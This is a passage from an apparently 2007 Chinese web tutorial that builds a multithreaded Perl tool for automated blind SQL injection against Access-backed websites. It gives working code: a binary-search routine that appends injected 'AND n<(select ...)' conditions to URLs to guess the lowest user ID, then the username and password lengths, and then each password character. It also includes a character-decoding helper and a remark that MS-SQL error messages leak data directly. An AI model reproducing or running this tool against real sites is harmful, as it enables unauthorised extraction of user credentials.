打印本文 打印本文 关闭窗口 关闭窗口
PERL:铸造多线程+中文SQL自动注入机
作者:武汉SEO闵涛  文章来源:敏韬网  点击数3746  更新时间:2007/11/14 12:53:59  文章录入:mintao  责任编辑:mintao
 --+";
                        last;
                }
        }
        close(fieInput);
        return $field;
}五.PERL多线程速成
然后,然后当然就是学习PERL的多线程技术!!!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班:
$thread = threads->create(function, LIST)
以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。
$thread->join
等待线程运行完毕。一旦结束运行,join()将返回子例程\函数(FUNCTION)的值。
THAT''''S ALL!
就这么简单?完了?就这么两把菜刀就可以干我们的革命了!!!
详情参阅ActicePerl的帮助文档:Perl/html/lib/threads.html.
5、4、3、2、1、点火!!!
程序代码: $thread1  = threads->create("field_Input","field_Username.txt");
    $thread2  = threads->create("field_Input","field_Password.txt");
    $thread3  = threads->create("field_Input","field_ID.txt");回收返回仓:
程序代码: $field_Username = $thread1->join();
    $field_Password = $thread2->join();
    $field_ID = $thread3->join();
同时射出三个线程,然后JOIN回来,多么完美的落地啊,10分!!!
五. 猜数字的技巧
即便是多了几匹马,马再多也没有跑不过火轮车阿,我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码。
ID值是天然的数值,长度是length($field)是数值,一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JAVASCRIPT游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏节目里头那些几千上万块钱的东西,又要猜几次呢?2^13=8192, 2^14=16384,你还愁拿不到奖品吗?!
为了让大家看清楚一点,猜一个8以内的数,比如是5,步骤如下:
? < 4  N
? < 6  Y  4 + 2
? < 5  N  6 - 1
? = 5
也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的,为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个:
程序代码: @dic1=(128,64,32,16,8,4,2,1); # 最小用户ID 
@dic2=(16,8,4,2,1); # 用户名、密码长度
@dic3=(64,32,16,8,4,2,1); # 英文字符
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符

算法函数如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
        print ">";
        $i++;
        $crack+=$op*$pass;
        $path1 = "%20AND%20$crack<($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
        {
                $op=1;
                if($i==@dic)
                {
                        $crack++;
                }
        }
        else
        {
                $op=-1;
        }
}
return $crack;
}

$sql="select%20min($field_ID)%20from%20$table_User";
$id=&crack(@dic1,"$sql");传递进构造的SQL注入语句以及相应的数组字典,CRACK!!!
参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非my(@dic,$sql) =@_;后者,$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。
让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程:
程序代码: $sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id";
my $thread4  = threads->create("crack",@dic2,$sql);
$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id";
my $thread5  = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的战役-攻破字段值
使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from  $table_User where $field_Id = $id
这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。
ACCESS中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack(''''C*'''',$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了!
首先要用sprintf("%X",$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack("H*",$str)完成UltraEdit的打包作业: 
程序代码: sub asc
{
        my $asc=$_[0];
        my $str;
        if ($asc<256)
              {
              $str = pack(''''C*'''',$asc);
              }
        else
        {
        $asc*=-1;
        $str = sprintf("%X",$asc);
        if ($str=~/(.{4})$/i)
        {
                $str=$1;
        }
        $str = pack("H*",$str);
        }
        return $str;
}
万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程:
程序代码: for (my $locat=1;$locat<=$passlen;$locat++)
{
        $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id";
        $path1 = "%20AND%200>($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
{
$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id";
              $password[$locat] = threads->create("crack",@dic4,$sql);
        }

上一页  [1] [2] [3]  下一页

打印本文 打印本文 关闭窗口 关闭窗口